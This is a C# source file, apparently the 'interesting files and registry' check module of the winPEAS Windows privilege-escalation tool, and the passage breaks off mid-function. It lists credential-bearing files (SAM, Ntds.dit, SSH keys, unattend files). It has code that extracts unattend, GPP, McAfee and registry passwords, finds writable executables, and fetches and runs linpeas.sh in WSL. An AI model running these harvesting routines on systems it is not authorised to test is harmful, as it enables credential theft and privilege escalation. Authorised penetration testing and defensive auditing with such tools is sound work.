    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Linq;\nusing System.Text.RegularExpressions;\nusing winPEAS.Helpers;\nusing winPEAS.Helpers.Registry;\nusing winPEAS.Helpers.Search;\nusing winPEAS.Info.FilesInfo.Certificates;\nusing winPEAS.Info.FilesInfo.McAfee;\nusing winPEAS.Info.FilesInfo.Office;\nusing winPEAS.Info.FilesInfo.WSL;\nusing winPEAS.Info.UserInfo;\nusing winPEAS.InterestingFiles;\nusing winPEAS.KnownFileCreds;\nusing winPEAS.KnownFileCreds.Slack;\nusing winPEAS.KnownFileCreds.SuperPutty;\n\nnamespace winPEAS.Checks\n{\n    internal class FilesInfo : ISystemCheck\n    {\n        static readonly string _patternsFileCredsColor = @\"RDCMan.settings|.rdg|_history|httpd.conf|.htpasswd|.gitconfig|.git-credentials|Dockerfile|docker-compose.ymlaccess_tokens.db|accessTokens.json|azureProfile.json|appcmd.exe|scclient.exe|unattend.txt|access.log|error.log|credential|password|.gpg|.pgp|config.php|elasticsearch|kibana.|.p12|\\.der|.csr|.crt|.cer|.pem|known_hosts|id_rsa|id_dsa|.ovpn|tomcat-users.xml|web.config|.kdbx|.key|KeePass.config|ntds.dir|Ntds.dit|sam|system|SAM|SYSTEM|security|software|SECURITY|SOFTWARE|FreeSSHDservice.ini|sysprep.inf|sysprep.xml|unattend.xml|unattended.xml|vnc|groups.xml|services.xml|scheduledtasks.xml|printers.xml|drives.xml|datasources.xml|php.ini|https.conf|https-xampp.conf|my.ini|my.cnf|access.log|error.log|server.xml|setupinfo|pagefile.sys|NetSetup.log|iis6.log|AppEvent.Evt|SecEvent.Evt|default.sav|security.sav|software.sav|system.sav|ntuser.dat|index.dat|bash.exe|wsl.exe\";\n        //    static readonly string _patternsFileCreds = @\"RDCMan.settings;*.rdg;*_history*;httpd.conf;.htpasswd;.gitconfig;.git-credentials;Dockerfile;docker-compose.yml;access_tokens.db;accessTokens.json;azureProfile.json;appcmd.exe;scclient.exe;*.gpg$;*.pgp$;*config*.php;elasticsearch.y*ml;kibana.y*ml;*.p12$;*.cer$;known_hosts;*id_rsa*;*id_dsa*;*.ovpn;tomcat-users.xml;web.config;*.kdbx;KeePass.config;Ntds.dit;SAM;SYSTEM;security;software;FreeSSHDservice.ini;sysprep.inf;sysprep.xml;*vnc*.ini;*vnc*.c*nf*;*vnc*.txt;*vnc*.xml;php.ini;https.conf;https-xampp.conf;my.ini;my.cnf;access.log;error.log;server.xml;ConsoleHost_history.txt;pagefile.sys;NetSetup.log;iis6.log;AppEvent.Evt;SecEvent.Evt;default.sav;security.sav;software.sav;system.sav;ntuser.dat;index.dat;bash.exe;wsl.exe;unattend.txt;*.der$;*.csr$;unattend.xml;unattended.xml;groups.xml;services.xml;scheduledtasks.xml;printers.xml;drives.xml;datasources.xml;setupinfo;setupinfo.bak\";\n\n        private static readonly IList<string> patternsFileCreds = new List<string>()\n        {\n            \"*.cer$\",\n            \"*.csr$\",\n            \"*.der$\",\n            \"*.ftpconfig\",\n            \"*.gpg$\",\n            \"*.kdbx\",\n            \"*.ovpn\",\n            \"*.p12$\",\n            \"*.pgp$\",\n            \"*.rdg\",\n            \"*_history*\",\n            \"*config*.php\",\n            \"*id_dsa*\",\n            \"*id_rsa*\",\n            \"*vnc*.c*nf*\",\n            \"*vnc*.ini\",\n            \"*vnc*.txt\",\n            \"*vnc*.xml\",\n            \".git-credentials\",\n            \".gitconfig\",\n            \".htpasswd\",\n            \"AppEvent.Evt\",\n            \"ConsoleHost_history.txt\",\n            \"Dockerfile\",\n            \"FreeSSHDservice.ini\",\n            \"KeePass.config\",\n            \"NetSetup.log\",\n            \"Ntds.dit\",\n            \"RDCMan.settings\",\n            \"SAM\",\n            \"SYSTEM\",\n            \"SecEvent.Evt\",\n            \"access.log\",\n            \"accessTokens.json\",\n            \"access_tokens.db\",\n            \"appcmd.exe\",\n            \"azureProfile.json\",\n            \"bash.exe\",\n            \"datasources.xml\",\n            \"default.sav\",\n            \"docker-compose.yml\",\n            \"drives.xml\",\n            \"elasticsearch.y*ml\",\n            \"error.log\",\n            \"ffftp.ini\",\n            \"filezilla.xml\",\n            \"groups.xml\",\n            \"httpd.conf\",\n            \"https-xampp.conf\",\n            \"https.conf\",\n            \"iis6.log\",\n            \"index.dat\",\n            \"kibana.y*ml\",\n            \"known_hosts\",\n            \"my.cnf\",\n            \"my.ini\",\n            \"ntuser.dat\",\n            \"pagefile.sys\",\n            \"php.ini\",\n            \"printers.xml\",\n            \"recentservers.xml\",\n            \"scclient.exe\",\n            \"scheduledtasks.xml\",\n            \"security\",\n            \"security.sav\",\n            \"server.xml\",\n            \"services.xml\",\n            \"setupinfo\",\n            \"setupinfo.bak\",\n            \"sitemanager.xml\",\n            \"sites.ini\",\n            \"software\",\n            \"software.sav\",\n            \"sysprep.inf\",\n            \"sysprep.xml\",\n            \"system.sav\",\n            \"tomcat-users.xml\",\n            \"unattend.txt\",\n            \"unattend.xml\",\n            \"unattended.xml\",\n            \"wcx_ftp.ini\",\n            \"web.*.config\",\n            \"winscp.ini\",\n            \"ws_ftp.ini\",\n            \"wsl.exe\",\n        };\n\n\n        public string[] MitreAttackIds { get; } = new[] { \"T1083\", \"T1552.001\", \"T1552.002\", \"T1552.004\", \"T1552.006\", \"T1003.002\", \"T1564.001\", \"T1574.001\", \"T1059.004\", \"T1114.001\", \"T1218\", \"T1649\" };\n\n        public void PrintInfo(bool isDebug)\n        {\n            Beaprint.GreatPrint(\"Interesting files and registry\", \"T1083,T1552.001,T1552.002,T1552.004,T1552.006,T1003.002,T1564.001,T1574.001,T1059.004,T1114.001,T1218,T1649\");\n\n            new List<Action>\n            {\n                Putty.PrintInfo,\n                SuperPutty.PrintInfo,\n                PrintOffice365EndpointsSyncedByOneDrive,\n                PrintCloudCreds,\n                PrintUnattendFiles,\n                PrintSAMBackups,\n                PrintMcAffeSitelistFiles,\n                PrintCachedGPPPassword,\n                PrintPossCredsRegs,\n                PrintUserCredsFiles,\n                PrintOracleSQLDeveloperConfigFiles,\n                Slack.PrintInfo,\n                PrintLOLBAS,\n                PrintOutlookDownloads,\n                PrintMachineAndUserCertificateFiles,\n                PrintUsersInterestingFiles,\n                PrintUsersDocsKeys,\n                PrintOfficeMostRecentFiles,\n                PrintRecentFiles,\n                PrintRecycleBin,\n                PrintHiddenFilesAndFolders,\n                PrintOtherUsersInterestingFiles,\n                PrintExecutablesInNonDefaultFoldersWithWritePermissions,\n                PrintWSLDistributions\n            }.ForEach(action => CheckRunner.Run(action, isDebug));\n        }\n\n        void PrintCloudCreds()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Cloud Credentials\", \"T1552.001\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#files-and-registry-credentials\");\n                List<Dictionary<string, string>> could_creds = KnownFileCredsInfo.ListCloudCreds();\n                if (could_creds.Count != 0)\n                {\n                    foreach (Dictionary<string, string> cc in could_creds)\n                    {\n                        string formString = \"    {0} ({1})\\n    Accessed:{2} -- Size:{3}\";\n                        Beaprint.BadPrint(string.Format(formString, cc[\"file\"], cc[\"Description\"], cc[\"Accessed\"], cc[\"Size\"]));\n                        Console.WriteLine(\"\");\n                    }\n                }\n                else\n                    Beaprint.NotFoundPrint();\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        void PrintUnattendFiles()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Unattend Files\", \"T1552.001\");\n                //Beaprint.LinkPrint(\"\");\n                List<string> unattended_files = Unattended.GetUnattendedInstallFiles();\n                foreach (string path in unattended_files)\n                {\n                    List<string> pwds = Unattended.ExtractUnattendedPwd(path);\n                    Beaprint.BadPrint(\"    \" + path);\n                    Console.WriteLine(string.Join(\"\\n\", pwds));\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        void PrintSAMBackups()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Looking for common SAM & SYSTEM backups\", \"T1003.002\");\n                List<string> sam_files = InterestingFiles.InterestingFiles.GetSAMBackups();\n                foreach (string path in sam_files)\n                {\n                    var permissions = PermissionsHelper.GetPermissionsFile(path, Checks.CurrentUserSiDs, PermissionType.READABLE_OR_WRITABLE);\n\n                    if (permissions.Any())\n                    {\n                        Beaprint.BadPrint(\"    \" + path);\n                        Beaprint.BadPrint(\"    File Permissions: \" + string.Join(\", \", permissions) + \"\\n\");\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static void PrintMcAffeSitelistFiles()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Looking for McAfee Sitelist.xml Files\", \"T1552.001\");\n                var sitelistFilesInfos = McAfee.GetMcAfeeSitelistInfos();\n\n                foreach (var sitelistFilesInfo in sitelistFilesInfos)\n                {\n                    Beaprint.NoColorPrint($\"   Path:                    {sitelistFilesInfo.Path}\");\n\n                    if (!string.IsNullOrEmpty(sitelistFilesInfo.ParseException))\n                    {\n                        Beaprint.NoColorPrint($\"   Parse Exception:           {sitelistFilesInfo.ParseException}\");\n                    }\n\n                    foreach (var site in sitelistFilesInfo.Sites)\n                    {\n                        Beaprint.NoColorPrint($\"    Share Name            :       {site.ShareName}\");\n                        PrintColored($\"    User Name             :       {site.UserName}\", !string.IsNullOrWhiteSpace(site.UserName));\n                        PrintColored($\"    Server                :       {site.Server}\", !string.IsNullOrWhiteSpace(site.Server));\n                        PrintColored($\"    Encrypted Password    :       {site.EncPassword}\", !string.IsNullOrWhiteSpace(site.EncPassword));\n                        PrintColored($\"    Decrypted Password    :       {site.DecPassword}\", !string.IsNullOrWhiteSpace(site.DecPassword));\n                        Beaprint.NoColorPrint($\"    Domain Name           :       {site.DomainName}\\n\" +\n                                                     $\"    Name                  :       {site.Name}\\n\" +\n                                                     $\"    Type                  :       {site.Type}\\n\" +\n                                                     $\"    Relative Path         :       {site.RelativePath}\\n\");\n                    }\n\n                    Beaprint.PrintLineSeparator();\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private static void PrintColored(string str, bool isBad)\n        {\n            if (isBad)\n            {\n                Beaprint.BadPrint(str);\n            }\n            else\n            {\n                Beaprint.NoColorPrint(str);\n            }\n        }\n\n        void PrintWSLDistributions()\n        {\n            Beaprint.MainPrint(\"Looking for Linux shells/distributions - wsl.exe, bash.exe\", \"T1059.004\");\n            List<string> linuxShells = InterestingFiles.InterestingFiles.GetLinuxShells();\n            string hive = \"HKCU\";\n            string basePath = @\"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Lxss\";\n            const string linpeas = \"linpeas.sh\";\n\n            if (linuxShells.Any())\n            {\n                foreach (string path in linuxShells)\n                {\n                    Beaprint.BadPrint(\"    \" + path);\n                }\n\n                Beaprint.BadPrint(\"\");\n\n                try\n                {\n                    var wslKeys = RegistryHelper.GetRegSubkeys(hive, basePath);\n\n                    if (wslKeys.Any())\n                    {\n                        const string distribution = \"Distribution\";\n                        const string rootDirectory = \"Root directory\";\n                        const string runWith = \"Run command\";\n                        const string wslUser = \"WSL user\";\n                        const string root = \"root\";\n\n\n                        var colors = new Dictionary<string, string>();\n                        new List<string> { linpeas, distribution, rootDirectory, runWith, wslUser, root }\n                         .ForEach(str => colors.Add(str, Beaprint.ansi_color_bad));\n\n                        Beaprint.BadPrint(\"    Found installed WSL distribution(s) - listed below\");\n                        Beaprint.AnsiPrint($\"    Run {linpeas} in your WSL distribution(s) home folder(s).\\n\", colors);\n\n                        foreach (var wslKey in wslKeys)\n                        {\n                            try\n                            {\n                                string distributionSubKey = $\"{basePath}\\\\{wslKey}\";\n                                string distributionRootDirectory = $\"{RegistryHelper.GetRegValue(hive, distributionSubKey, \"BasePath\")}\\\\rootfs\";\n                                string distributionName = RegistryHelper.GetRegValue(hive, distributionSubKey, \"DistributionName\");\n                                string user = WSLHelper.TryGetRootUser(distributionName, wslKey);\n\n                                Beaprint.AnsiPrint($\"    {distribution}:      \\\"{distributionName}\\\"\\n\" +\n                                                   $\"    {wslUser}:          \\\"{user}\\\"\\n\" +\n                                                   $\"    {rootDirectory}:    \\\"{distributionRootDirectory}\\\"\\n\" +\n                                                   $\"    {runWith}:       wsl.exe --distribution \\\"{distributionName}\\\"\",\n                                                    colors);\n                                Beaprint.PrintLineSeparator();\n                            }\n                            catch (Exception ex) { }\n                        }\n\n                        // try to run linpeas.sh in the default distribution\n                        Beaprint.ColorPrint($\"  Running {linpeas} in the default distribution\\n\" +\n                                            $\"  Using linpeas.sh URL: {Checks.LinpeasUrl}\", Beaprint.LBLUE);\n\n                        if (Checks.IsLinpeas)\n                        {\n                            try\n                            {\n                                WSLHelper.RunLinpeas(Checks.LinpeasUrl);\n                            }\n                            catch (Exception ex)\n                            {\n                                Beaprint.PrintException($\"    Unable to run linpeas.sh: {ex.Message}\");\n                            }\n                        }\n                        else\n                        {\n                            Beaprint.ColorPrint(\"   [!] Check skipped, if you want to run it, please specify '-linpeas=[url]' argument\", Beaprint.YELLOW);\n                        }\n                    }\n                    else\n                    {\n                        Beaprint.GoodPrint(\"    WSL - no installed Linux distributions found.\");\n                    }\n                }\n                catch (Exception) { }\n            }\n        }\n\n        void PrintCachedGPPPassword()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Cached GPP Passwords\", \"T1552.006\");\n                Dictionary<string, Dictionary<string, string>> gpp_passwords = GPP.GetCachedGPPPassword();\n\n                Dictionary<string, string> gppColors = new Dictionary<string, string>()\n                    {\n                        { \"cpassword.*\", Beaprint.ansi_color_bad },\n                    };\n\n                foreach (KeyValuePair<string, Dictionary<string, string>> entry in gpp_passwords)\n                {\n                    Beaprint.BadPrint(\"    Found \" + entry.Key);\n                    Beaprint.DictPrint(entry.Value, gppColors, true);\n                }\n\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        void PrintPossCredsRegs()\n        {\n            try\n            {\n                string[] passRegHkcu = new string[] { @\"Software\\ORL\\WinVNC3\\Password\", @\"Software\\TightVNC\\Server\", @\"Software\\SimonTatham\\PuTTY\\Sessions\" };\n                string[] passRegHklm = new string[] { @\"SYSTEM\\CurrentControlSet\\Services\\SNMP\" };\n\n                Beaprint.MainPrint(\"Looking for possible regs with creds\", \"T1552.002\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#inside-the-registry\");\n\n                string winVnc4 = RegistryHelper.GetRegValue(\"HKLM\", @\"SOFTWARE\\RealVNC\\WinVNC4\", \"password\");\n                if (!string.IsNullOrEmpty(winVnc4.Trim()))\n                {\n                    Beaprint.BadPrint(winVnc4);\n                }\n\n                foreach (string regHkcu in passRegHkcu)\n                {\n                    Beaprint.DictPrint(RegistryHelper.GetRegValues(\"HKCU\", regHkcu), false);\n                }\n\n                foreach (string regHklm in passRegHklm)\n                {\n                    Beaprint.DictPrint(RegistryHelper.GetRegValues(\"HKLM\", regHklm), false);\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        void PrintUserCredsFiles()\n        {\n            try\n            {\n                string pattern_color = \"[cC][rR][eE][dD][eE][nN][tT][iI][aA][lL]|[pP][aA][sS][sS][wW][oO][rR][dD]\";\n                var validExtensions = new HashSet<string>\n                {\n                    \".cnf\",\n                    \".conf\",\n                    \".doc\",\n                    \".docx\",\n                    \".json\",\n                    \".xlsx\",\n                    \".xml\",\n                    \".yaml\",\n                    \".yml\",\n                    \".txt\",\n                };\n\n                var colorF = new Dictionary<string, string>()\n                {\n                    { pattern_color, Beaprint.ansi_color_bad },\n                };\n\n                Beaprint.MainPrint(\"Looking for possible password files in users homes\", \"T1552.001\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#files-and-registry-credentials\");\n                var fileInfos = SearchHelper.SearchUserCredsFiles();\n\n                foreach (var fileInfo in fileInfos)\n                {\n                    if (!fileInfo.Filename.Contains(\".\"))\n                    {\n                        Beaprint.AnsiPrint(\"    \" + fileInfo.FullPath, colorF);\n                    }\n                    else\n                    {\n                        string extLower = fileInfo.Extension.ToLower();\n\n                        if (validExtensions.Contains(extLower))\n                        {\n                            Beaprint.AnsiPrint(\"    \" + fileInfo.FullPath, colorF);\n                        }\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        void PrintRecycleBin()\n        {\n            try\n            {\n                //string pattern_bin = _patternsFileCreds + \";*password*;*credential*\";\n                string pattern_bin = string.Join(\";\", patternsFileCreds) + \";*password*;*credential*\";\n\n                Dictionary<string, string> colorF = new Dictionary<string, string>()\n                {\n                    { _patternsFileCredsColor + \"|.*password.*|.*credential.*\", Beaprint.ansi_color_bad },\n                };\n\n                Beaprint.MainPrint(\"Looking inside the Recycle Bin for creds files\", \"T1552.001\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#files-and-registry-credentials\");\n                List<Dictionary<string, string>> recy_files = InterestingFiles.InterestingFiles.GetRecycleBin();\n\n                foreach (Dictionary<string, string> rec_file in recy_files)\n                {\n                    foreach (string pattern in pattern_bin.Split(';'))\n                    {\n                        if (Regex.Match(rec_file[\"Name\"], pattern.Replace(\"*\", \".*\"), RegexOptions.IgnoreCase).Success)\n                        {\n                            Beaprint.DictPrint(rec_file, colorF, true);\n                            Console.WriteLine();\n                        }\n                    }\n                }\n\n                if (recy_files.Count <= 0)\n                {\n                    Beaprint.NotFoundPrint();\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        void PrintUsersInterestingFiles()\n        {\n            try\n            {\n                var colorF = new Dictionary<string, string>\n                {\n                    { _patternsFileCredsColor, Beaprint.ansi_color_bad },\n                };\n\n                Beaprint.MainPrint(\"Searching known files that can contain creds in home\", \"T1552.001\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#files-and-registry-credentials\");\n\n                var files = SearchHelper.SearchUsersInterestingFiles();\n\n                Beaprint.AnsiPrint(\"    \" + string.Join(\"\\n    \", files), colorF);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        void PrintUsersDocsKeys()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Looking for documents --limit 100--\", \"T1083\");\n                List<string> docFiles = InterestingFiles.InterestingFiles.ListUsersDocs();\n                Beaprint.ListPrint(MyUtils.GetLimitedRange(docFiles, 100));\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        void PrintRecentFiles()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Recent files --limit 70--\", \"T1083\");\n                List<Dictionary<string, string>> recFiles = KnownFileCredsInfo.GetRecentFiles();\n\n                Dictionary<string, string> colorF = new Dictionary<string, string>()\n                {\n                    { _patternsFileCredsColor, Beaprint.ansi_color_bad },\n                };\n\n                if (recFiles.Count != 0)\n                {\n                    foreach (Dictionary<string, string> recF in MyUtils.GetLimitedRange(recFiles, 70))\n                    {\n                        Beaprint.AnsiPrint(\"    \" + recF[\"Target\"] + \"(\" + recF[\"Accessed\"] + \")\", colorF);\n                    }\n                }\n                else\n                {\n                    Beaprint.NotFoundPrint();\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        void PrintOtherUsersInterestingFiles()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Searching interesting files in other users home directories (can be slow)\\n\", \"T1552.001\");\n\n                // check if admin already, if yes, print a message, if not, try to enumerate all files\n                if (MyUtils.IsHighIntegrity())\n                {\n                    Beaprint.BadPrint(\"     You are already Administrator, check users home folders manually.\");\n                }\n                else\n                // get all files and check them\n                {\n                    var users = User.GetOtherUsersFolders();\n\n                    foreach (var user in users)\n                    {\n                        Beaprint.GoodPrint($\"     Checking folder: {user}\\n\");\n\n                        var files = SearchHelper.GetFilesFast(user, isFoldersIncluded: true);\n\n                        foreach (var file in files)\n                        {\n                            try\n                            {\n                                FileAttributes attr = File.GetAttributes(file.FullPath);\n                                if ((attr & FileAttributes.Directory) == FileAttributes.Directory)\n                                {\n                                    List<string> dirRights = PermissionsHelper.GetPermissionsFolder(file.FullPath, Checks.CurrentUserSiDs, PermissionType.WRITEABLE_OR_EQUIVALENT);\n\n                                    if (dirRights.Count > 0)\n                                    {\n                                        Beaprint.BadPrint($\"     Folder Permissions \\\"{file.FullPath}\\\": \" + string.Join(\",\", dirRights));\n                                    }\n                                }\n                                else\n                                {\n                                    List<string> fileRights = PermissionsHelper.GetPermissionsFile(file.FullPath, Checks.CurrentUserSiDs, PermissionType.WRITEABLE_OR_EQUIVALENT);\n\n                                    if (fileRights.Count > 0)\n                                    {\n                                        Beaprint.BadPrint($\"     File Permissions \\\"{file.FullPath}\\\": \" + string.Join(\",\", fileRights));\n                                    }\n                                }\n                            }\n                            catch (Exception)\n                            {\n                            }\n                        }\n\n                        Beaprint.PrintLineSeparator();\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        void PrintHiddenFilesAndFolders()\n        {\n            HashSet<string> excludedFilenames = new HashSet<string>()\n                {\n                    \"cache.bin\",\n                    \"container.dat\",\n                    \"desktop.ini\",\n                    \"iconcache.db\",\n                    \"ntuser.ini\",\n                    \"ntuser.dat\",\n                    \"ntuser.dat.log1\",\n                    \"ntuser.dat.log2\",\n                    \"pof.dat.log1\",\n                    \"pof.dat.log2\",\n                    \"privateregistry.bin.log1\",\n                    \"privateregistry.bin.log2\",\n                    \"settings.dat.log1\",\n                    \"settings.dat.log2\",\n                    \"thumbs.db\",\n                    \"user.dat.log1\",\n                    \"user.dat.log2\",\n                    \"userclasses.dat\",\n                    \"userclasses.dat.log1\",\n                    \"userclasses.dat.log2\",\n                    \"usrclass.dat\",\n                    \"usrclass.dat.log1\",\n                    \"usrclass.dat.log2\",\n                };\n\n            HashSet<string> excludedExtensions = new HashSet<string>()\n                {\n                    \".blf\",\n                    \".igpi\",\n                    \".regtrans-ms\",\n                    \".search-ms\",\n                    \".suo\",\n                };\n\n            HashSet<string> excludedKnownFolders = new HashSet<string>()\n                {\n                    \"accountpictures\",\n                    \"appdata\",\n                    \"application data\",\n                    \"cookies\",\n                    \"desktop\",\n                    \"documents\",\n                    \"intelgraphicsprofiles\",\n                    \"libraries\",\n                    \"local settings\",\n                    \"my documents\",\n                    \"nethood\",\n                    \"printhood\",\n                    \"recent\",\n                    \"recent\",\n                    \"sendto\",\n                    \"start menu\",\n                    \"templates\",\n                };\n\n            var systemDrive = Environment.GetEnvironmentVariable(\"SystemDrive\");\n\n            Beaprint.MainPrint($\"Searching hidden files or folders in {systemDrive}\\\\Users home (can be slow)\\n\", \"T1564.001\");\n\n            foreach (var file in SearchHelper.RootDirUsers)\n            {\n                try\n                {\n                    if (File.GetAttributes(file.FullPath).HasFlag(FileAttributes.Hidden))\n                    {\n                        if (file.Extension != null && excludedExtensions.Contains(file.Extension.ToLower()))\n                        {\n                            continue;\n                        }\n\n                        if (file.Filename != null && excludedFilenames.Contains(file.Filename.ToLower()))\n                        {\n                            continue;\n                        }\n\n                        // skip well known folders\n                        if (excludedKnownFolders.Contains(Path.GetFileName(file.FullPath).ToLower()))\n                        {\n                            continue;\n                        }\n\n                        if (file.FullPath.ToLower().Contains(\"microsoft\"))\n                        {\n                            continue;\n                        }\n\n                        Beaprint.BadPrint($\"     {file.FullPath}\");\n                    }\n                }\n                catch (PathTooLongException) { }\n                catch (Exception)\n                {\n                    // & other exceptions\n                }\n            }\n        }\n\n        private void PrintExecutablesInNonDefaultFoldersWithWritePermissions()\n        {\n            Beaprint.MainPrint($\"Searching executable files in non-default folders with write (equivalent) permissions (can be slow)\", \"T1574.001\");\n\n            var systemDrive = $\"{Environment.GetEnvironmentVariable(\"SystemDrive\")}\\\\\";\n\n            var excludedDirs = new HashSet<string>()\n            {\n                @\"c:\\esupport\",\n                @\"c:\\perflogs\",\n                @\"c:\\programdata\",\n                @\"c:\\program files (x86)\",\n                @\"c:\\program files\",\n                @\"c:\\windows\",\n                @\"c:\\windows.old\",\n            };\n\n            var currentUserDir = @$\"{systemDrive}users\\{Environment.GetEnvironmentVariable(\"USERNAME\")}\".ToLower();\n\n            var allowedExtensions = new HashSet<string>()\n            {\n                \".bat\",\n                \".exe\",\n                \".ps1\",\n                \".cmd\"\n            };\n\n            var files = SearchHelper.GetFilesFast(systemDrive, \"*\", excludedDirs);\n\n            foreach (var file in files)\n            {\n                try\n                {\n                    if (file.Extension != null && allowedExtensions.Contains(file.Extension.ToLower()))\n                    {\n                        // check the file permissions\n                        List<string> fileRights = PermissionsHelper.GetPermissionsFile(file.FullPath, Checks.CurrentUserSiDs, PermissionType.WRITEABLE_OR_EQUIVALENT);\n\n                        if (fileRights.Count > 0)\n                        {\n                            string log = $\"     File Permissions \\\"{file.FullPath}\\\": \" + string.Join(\",\", fileRights);\n\n                            if (file.FullPath.ToLower().StartsWith(currentUserDir))\n                            {\n                                Beaprint.NoColorPrint(log);\n                            }\n                            else\n                            {\n                                Beaprint.BadPrint(log);\n                            }\n                        }\n                    }\n                }\n                catch (Exception)\n                {\n                }\n            }\n        }\n\n        private static void PrintOracleSQLDeveloperConfigFiles()\n        {\n            Beaprint.MainPrint($\"Searching for Oracle SQL Developer config files\\n\", \"T1552.001\");\n\n            var userFolders = User.GetUsersFolders();\n\n            foreach (var userFolder in userFolders)\n            {\n                try\n                {\n                    var path = $\"{userFolder}\\\\AppData\\\\Roaming\\\\SQL Developer\\\\\";\n                    var pattern = \"connections*.xml\";\n\n                    if (Directory.Exists(path))\n                    {\n                        var files = Directory.EnumerateFiles(path, pattern, SearchOption.TopDirectoryOnly);\n\n                        foreach (var file in files)\n                        {\n                            if (File.Exists(file))\n                            {\n                                Beaprint.BadPrint($\"     {file}\");\n                            }\n                        }\n                    }\n                }\n                catch (Exception ex)\n                {\n                }\n            }\n        }\n\n        private static void PrintMachineAndUserCertificateFiles()\n        {\n            Beaprint.MainPrint($\"Enumerating machine and user certificate files\\n\", \"T1649,T1552.004\");\n\n            try\n            {\n                var certificateInfos = Certificates.GetCertificateInfos();\n\n                foreach (var certificateInfo in certificateInfos)\n                {\n\n                    Beaprint.NoColorPrint($\"  Issuer             : {certificateInfo.Issuer}\\n\" +\n                                                $\"  Subject            : {certificateInfo.Subject}\\n\" +\n                                                $\"  ValidDate          : {certificateInfo.ValidDate}\\n\" +\n                                                $\"  ExpiryDate         : {certificateInfo.ExpiryDate}\\n\" +\n                                                $\"  HasPrivateKey      : {certificateInfo.HasPrivateKey}\\n\" +\n                                                $\"  StoreLocation      : {certificateInfo.StoreLocation}\\n\" +\n                                                $\"  KeyExportable      : {certificateInfo.KeyExportable}\\n\" +\n                                                $\"  Thumbprint         : {certificateInfo.Thumbprint}\\n\");\n\n                    if (!string.IsNullOrEmpty(certificateInfo.Template))\n                    {\n                        Beaprint.NoColorPrint($\"  Template           : {certificateInfo.Template}\");\n                    }\n\n                    if (certificateInfo.EnhancedKeyUsages?.Count > 0)\n                    {\n                        Beaprint.ColorPrint(\"  Enhanced Key Usages\", Beaprint.LBLUE);\n\n                        foreach (var keyUsages in certificateInfo.EnhancedKeyUsages)\n                        {\n                            var info = keyUsages == \"Client Authentication\" ? \"     [*] Certificate is used for client authentication!\" : string.Empty;\n\n                            Beaprint.NoColorPrint($\"       {keyUsages}{info}\");\n                        }\n                    }\n                    Beaprint.PrintLineSeparator();\n                }\n            }\n            catch (Exception ex)\n            {\n            }\n        }\n\n        private static void PrintOutlookDownloads()\n        {\n            Beaprint.MainPrint(\"Enumerating Outlook download files\\n\", \"T1114.001\");\n\n            try\n            {\n                var userDirs = User.GetUsersFolders();\n\n                foreach (var userDir in userDirs)\n                {\n                    try\n                    {\n                        var userOutlookBasePath = $\"{userDir}\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\INetCache\\\\Content.Outlook\\\\\";\n\n                        if (Directory.Exists(userOutlookBasePath))\n                        {\n                            var files = SearchHelper.GetFilesFast(userOutlookBasePath, \"*\");\n\n                            foreach (var file in files)\n                            {\n                                Beaprint.BadPrint($\"   {file.FullPath}\");\n                            }\n                        }\n                    }\n                    catch (Exception e)\n                    {\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n            }\n        }\n\n        private static void PrintOfficeMostRecentFiles()\n        {\n            int limit = 50;\n\n            Beaprint.MainPrint($\"Office Most Recent Files -- limit {limit}\\n\", \"T1083\");\n\n            try\n            {\n                var infos = Office.GetOfficeRecentFileInfos(limit);\n\n                Beaprint.ColorPrint($\"  {\"Last Access Date\",-25}  {\"User\",-45}  {\"Application\",-20}  {\"Document\"}\", Beaprint.LBLUE);\n\n                foreach (var info in infos)\n                {\n                    Beaprint.NoColorPrint($\"  {info.LastAccessDate.ToString(\"yyyy-MM-dd HH:mm\"),-25}  {info.User,-45}  {info.Application,-20}  {info.Target}\");\n                }\n            }\n            catch (Exception ex)\n            {\n            }\n        }\n\n        private static void PrintOffice365EndpointsSyncedByOneDrive()\n        {\n            void PrintItem(KeyValuePair<string, string> mpSub)\n            {\n                string formattedDateString = string.Empty;\n\n                if (mpSub.Key == \"LastModifiedTime\")\n                {\n                    DateTime.TryParse(mpSub.Value, out var parsedDate);\n                    string formattedDate = parsedDate.ToString(\"ddd dd MMM yyyy 